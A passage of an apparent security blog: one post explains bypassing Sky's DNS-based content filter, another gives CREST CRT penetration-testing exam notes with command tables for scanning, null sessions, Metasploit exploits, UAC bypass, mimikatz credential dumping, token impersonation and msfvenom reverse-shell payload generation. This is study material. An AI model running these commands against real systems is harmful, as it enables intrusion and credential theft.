<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4IKqq18Q_AMKhC7aJqdkoobSpRl3rEjywDoMP96nZUEVIOZNfCFWH0QKvCaRFDKk62Ud9ND7x3a_M8w8s73ZHtgzOJrNurx7H9B2gKK_RIhSiQYlJi_YGqnqJOYmqLR56Yu_abggicC9l/s1600/block.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="338" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4IKqq18Q_AMKhC7aJqdkoobSpRl3rEjywDoMP96nZUEVIOZNfCFWH0QKvCaRFDKk62Ud9ND7x3a_M8w8s73ZHtgzOJrNurx7H9B2gKK_RIhSiQYlJi_YGqnqJOYmqLR56Yu_abggicC9l/s1600/block.png" width="400" /></a></div>
<br />
Without the credentials for the Sky user account I was unable to login and switch off the Sky Broadband Shield as suggested.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">How does it work?</span></b></div>
<div>
<br /></div>
<div>
Curious how Sky were performing such a redirection I checked the DNS records. I discovered that the Sky DNS record for xvideos.com had been modified to point to the Sky block site (90.207.238.183).</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje2wMq7exkd-1i6im0ftLteXtzI4ENs47pCoU5y2P976dWFOt09bmhA65FJDW196QW1CaXNSvDIcsquOykxulNweZySoJT-y_Pm7chRYfK9F1XEHSTHdohBpUjqxZxaDLUFasz0TroHWPg/s1600/lookup1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje2wMq7exkd-1i6im0ftLteXtzI4ENs47pCoU5y2P976dWFOt09bmhA65FJDW196QW1CaXNSvDIcsquOykxulNweZySoJT-y_Pm7chRYfK9F1XEHSTHdohBpUjqxZxaDLUFasz0TroHWPg/s1600/lookup1.png" /></a></div>
<br /></div>
<div>
Lucky for us this is easy to bypass by using an alternative DNS server.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b><span style="font-size: large;">Time To Modify Your DNS Settings!</span></b></div>
<div>
<br /></div>
<div>
By default your home router will retrieve DNS settings from Sky and your local machine will retrieve DNS settings from the router. By modifying either the DNS settings on the router or on the local machine to point to a different DNS server we can retrieve the real DNS record and bypass the block.</div>
<div>
<br /></div>
<div>
<b>Windows 7</b><br />
<br />
First go to network connections to view network adapters, select your main adapter, right click and open properties:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLt57xCkS-lde3_9F1mZpNbkDgsI50KCawua0eNaIG4wFtwhEGk707CUU6gP5srIvQCrRJ7qDO34J6QvNnHZQMunjPcbu4K8Zsc-r6FWFQsdoaZmm-iPJHilkDFckiPQsAk9QMvmzauiwL/s1600/settings1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="366" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLt57xCkS-lde3_9F1mZpNbkDgsI50KCawua0eNaIG4wFtwhEGk707CUU6gP5srIvQCrRJ7qDO34J6QvNnHZQMunjPcbu4K8Zsc-r6FWFQsdoaZmm-iPJHilkDFckiPQsAk9QMvmzauiwL/s1600/settings1.png" width="400" /></a></div>
<br />
Under the properties menu select "Internet Protocol Version 4" and then click "Properties":<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8axQddecviyurf_51tN4kd-FA1VvpMztxWSas3SNwn58y-W1Rx87xijjl4NKIrssoED20bT1cP2YZP06JpSUy3C0zPzHN7PGhTsV4Hlbg_pK3RKkEBgmmSSoYKZvu2VqFmpYr0ilfBnih/s1600/settings2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8axQddecviyurf_51tN4kd-FA1VvpMztxWSas3SNwn58y-W1Rx87xijjl4NKIrssoED20bT1cP2YZP06JpSUy3C0zPzHN7PGhTsV4Hlbg_pK3RKkEBgmmSSoYKZvu2VqFmpYr0ilfBnih/s1600/settings2.png" width="318" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Next modify the DNS settings to use Google's DNS instead of Sky's DNS server.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfxP21kxmuGiubMIf_anDBQgrwi79tDvT5QqS_FIIsdE9Ma7xT8JyQLwDEadOUjUU2FqRZxqwl_9OcKoJp3W5dTNsWhnt9PC_NvxZKrdXIF5TnNBep5rhyphenhyphen3syNrxnL9oppD5Lwt5pyhPW_/s1600/settings3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfxP21kxmuGiubMIf_anDBQgrwi79tDvT5QqS_FIIsdE9Ma7xT8JyQLwDEadOUjUU2FqRZxqwl_9OcKoJp3W5dTNsWhnt9PC_NvxZKrdXIF5TnNBep5rhyphenhyphen3syNrxnL9oppD5Lwt5pyhPW_/s1600/settings3.png" width="356" /></a></div>
<br /></div>
<div>
<br />
Once the settings have been saved when querying the DNS for a blocked site you should now get the correct ip's returned.<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4rY-PG3PWurCZNt5Tbb-rlKU-CJ4xJLfjp-VttEhJjvAKMm6wS68yO78xx_yZIex7CxDzeN6mIXV5u6XVbvm3FjLUuQQCMCSxotlPes8S44t35COcue6kRkPSQ1P_8Lm8GRoGbnpKWwUk/s1600/lookup2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4rY-PG3PWurCZNt5Tbb-rlKU-CJ4xJLfjp-VttEhJjvAKMm6wS68yO78xx_yZIex7CxDzeN6mIXV5u6XVbvm3FjLUuQQCMCSxotlPes8S44t35COcue6kRkPSQ1P_8Lm8GRoGbnpKWwUk/s1600/lookup2.png" width="320" /></a></div>
<br />
<b><br /></b>
<b>Windows 8</b><br />
<br />
DNS settings for Windows 8 can be changed using the following guide - http://www.plus.net/support/software/dns/changing-dns-windows-8.shtml<br />
<b><br /></b>
<b>Mac OS X</b><br />
<br />
For Mac, the same DNS settings (server set to 8.8.8.8) can be applied following the instructions here - http://www.plus.net/support/software/dns/changing_dns_mac.shtml<br />
<br />
<b>iPhone/iPad</b><br />
<br />
On the iPhone and iPad you just go to settings -> wifi, select the connection and change the DNS to 8.8.8.8, an example can be found here - http://www.iphonehacks.com/2014/08/change-dns-iphone-ipad.html<br />
<br />
<b>Android</b><br />
<br />
Just change the DNS setting for the connection to 8.8.8.8, instructions here -<br />
https://support.opendns.com/entries/42848890-Android-Configuration-instructions-for-OpenDNS<br />
<div>
<br /></div>
<br /></div>
<div>
<b><span style="font-size: large;">Alternatives</span></b><br />
<br />
Another option is to go direct to the ip address. Most but not all sites will happily load when directly connecting over ip. For xvideos.com you can for example connect directly to the ip in your browser: http://141.0.174.37<br />
<br />
It's also worth mentioning that if Sky had chosen to use ip based filtering this could have been bypassed using a proxy or VPN. Although do remember that the operators of such services can potentially view and modify your traffic!<br />
<br />
Thanks for reading. Questions or comments, just leave a message below!</div>
Unknownnoreply@blogger.com176tag:blogger.com,1999:blog-6613536328909163975.post-76621274858758497672014-12-31T18:38:00.001+00:002015-02-13T21:15:27.288+00:00CREST CRT Exam Preparation<div>
I'm going to be taking the CREST CRT exam in January and wanted to share my preparation notes with the world to save everyone else the time and effort of digging up this information to pass the exam.<br />
<br /></div>
<div>
<b>Note</b>: I have not taken the exam yet, I do not know the answers and am in no way affiliated with CREST.<br />
<b>Note Note:</b> I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)<br />
<br />
<span style="font-size: large;"><b>What have we gota do? </b></span><br />
<br />
First things first, the official CREST site and CRT page is here:<br />
http://www.crest-approved.org/information-security-testers/registered-tester/index.html<br />
<br />
To quote the official documentation - "<i>The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications.</i>"<br />
<br />
For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.<br />
<div>
<br />
<br />
<span style="font-size: large;"><b>Getting hands-on!</b></span><br />
<br /></div>
<div>
My goal during the practical exam is to be as quick and efficient as possible. I want to minimize time spent analyzing results, configuring tools or writing custom stuff and maximize time spent answering questions! I plan to use a Windows box with Kali Linux VM. Below is my full list of tools and one-liners:<br />
<br />
<b>RECON AND ENUMERATION</b><br />
<br />
<table border="1" class="tftable">
<tbody>
<tr><th>Command</th><th>Description</th></tr>
<tr><td>nmap -T4 -A -Pn -oA scan -v 192.168.1.1-254</td><td>Full scan</td></tr>
<tr><td>for i in 21 22 23 80 443 445;do cat scan.gnmap|grep " $i/open"|cut -d " " -f2 > $i.txt;done</td><td>Parse results into txt files per port</td></tr>
<tr><td>nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 192.168.1.1-254</td><td>Check for open shares</td>
</tr>
<tr><td>dig axfr example.com @ns1.example.com</td><td>DNS zone transfer (Linux)</td></tr>
<tr><td>tcp.port, tcp.srcport, ip.src, ip.dst, or, and</td><td>Wireshark syntax</td></tr>
<tr><td>tcpdump tcp port 80 -w output.pcap -i eth0</td><td>Tcpdump syntax</td></tr>
<tr><td>mount 192.168.1.1:/share /mnt/nfs</td><td>Mount an NFS share</td></tr>
<tr><td>mount -o nolock -t nfs -o proto=tcp,port=2049 172.16.1.1:/ /mnt</td><td>Mount an NFS share</td></tr>
<tr><td>mount -t cifs -o username=<user>,password=<password>,domain=example.com //WIN_PC_IP/<share name> /mnt/windows</td><td>Mount a Windows share</td></tr>
<tr><td>net use x: \\filesvr001\folder1 <password> /user:domain01\jsmith /savecred /p:no</td><td>Mount a Windows share</td></tr>
<tr><td>net use \\<target>\IPC$ "" /u:""</td><td>Null session</td></tr>
<tr><td>rpcclient -U "" <target></td><td>Null session</td></tr>
<tr><td>enum4linux.pl 192.168.1.20</td><td>Retrieve domain info</td></tr>
<tr><td>onesixtyone -c names -i snmphosts</td><td>SNMP enum</td></tr>
<tr><td>snmpcheck -t 172.10.1.1 -c public</td><td>SNMP enum</td></tr>
<tr><td>nslookup -> set type=any -> ls -d <domain></td><td>DNS zone transfer (Windows)</td></tr>
<tr><td>nmap --script=smb-check-vulns --script-args=unsafe=1 -p445 <host></td><td>SMB vuln scan</td></tr>
</tbody></table>
<br />
<br />
<br /></div>
</div>
<div>
<b>METASPLOIT</b><br />
<b><br /></b></div>
<table border="1" class="tftable">
<tbody>
<tr><th>Command</th><th>Description</th></tr>
<tr><td>use auxiliary/scanner/http/dir_scanner</td><td>Scan for directories</td></tr>
<tr><td>use auxiliary/scanner/http/jboss_vulnscan</td><td>JBoss scan</td></tr>
<tr><td>use exploit/multi/http/jboss_maindeployer</td><td>JBoss deploy</td></tr>
<tr><td>use auxiliary/scanner/mssql/mssql_login</td><td>MSSQL cred scan</td></tr>
<tr><td>use exploit/windows/mssql/mssql_payload</td><td>MSSQL payload</td></tr>
<tr><td>use auxiliary/scanner/mysql/mysql_version</td><td>MySQL version scan</td></tr>
<tr><td>use auxiliary/scanner/mysql/mysql_login</td><td>MySQL login</td></tr>
<tr><td>use auxiliary/scanner/oracle/oracle_login</td><td>Oracle login</td></tr>
<tr><td>use exploit/windows/dcerpc/ms03_026_dcom</td><td>eazymode</td></tr>
<tr><td>use exploit/windows/smb/ms06_040_netapi</td><td>eazymode</td></tr>
<tr><td>use exploit/windows/smb/ms08_067_netapi</td><td>eazymode</td></tr>
<tr><td>use exploit/windows/smb/ms09_050_smb2_negotiate_func_index</td><td>eazymode</td></tr>
<tr><td>run post/windows/gather/win_privs</td><td>Show privs of current user</td></tr>
<tr><td>use exploit/windows/local/bypassuac (check if x86/64 and set target)</td><td>Bypass uac on win7+</td></tr>
<tr><td>load mimikatz -> wdigest</td><td>Dump creds</td></tr>
<tr><td>load incongnito -> list_tokens -> impersonate_token</td><td>Use tokens</td></tr>
<tr><td>use post/windows/gather/credentials/gpp</td><td>GPP</td></tr>
<tr><td>run post/windows/gather/local_admin_search_enum</td><td>Test other machines</td></tr>
<tr><td>msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exe</td><td>Standalone meterpreter</td></tr>
<tr><td>use exploit/multi/script/web_delivery</td><td>Powershell payload delivery</td></tr>
<tr><td>post/windows/manage/powershell/exec_powershell</td><td>Upload and run a PS script through a session</td></tr>
<tr><td>msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.1.3.19 LPORT=4444 -a x86 -f exe -e x86/shikata_ga_nai -b '\x00' -i 3 > meter.exe</td><td>Generate standalone payload</td></tr>
</tbody></table>
<br />
<div>
<br />
<div>
<div>
<br />
<b>WINDOWS COMMANDS</b><br />
<br />
https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit<br />
<br />
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="223"></col><col width="462"></col></colgroup><tbody>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ipconfig /all</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Displays the full information about your NIC’s.</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ipconfig /displaydns</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Displays your local DNS cache.</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">netstat -nabo</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">netstat -r</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Displays the routing table</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"></td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">netstat -anob | findstr “services, process or port”</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The “b” flag makes the command take longer but will output the process name using each of the connections.</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">netsh diag show all</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">XP only</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">} Shows information on network services and adapters</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net view</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net view /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">List all domains available to the host</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net view /domain:otherdomain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’</span></div>
</td></tr>
<tr style="height: 84px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net user %USERNAME% /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net user /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lists all of the domain users</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net accounts</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the password policy for the local system. This can be different and superseded by the domain policy.</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net accounts /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the password policy for the domain</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net localgroup administrators</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Prints the members of the Administrators local group</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net localgroup administrators /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins</span></div>
</td></tr>
<tr style="height: 0px;"><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">net group “Domain Admins” /domain</span></div>
</td><td style="border-bottom: solid #000000 1px; border-left: solid #000000 1px; border-right: solid #000000 1px; border-top: solid #000000 1px; padding: 7px 7px 7px 7px; vertical-align: top;"><div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;">
